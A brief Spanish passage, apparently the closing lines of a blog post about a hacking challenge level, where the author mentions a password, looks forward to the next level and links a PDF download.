contraseña que tenemos) o por el estilo ahora mismo no me interesa, me interesa mucho más ponerme con el siguiente nivel que parece muy entretenido :).

Puedes bajarte el pdf aquí.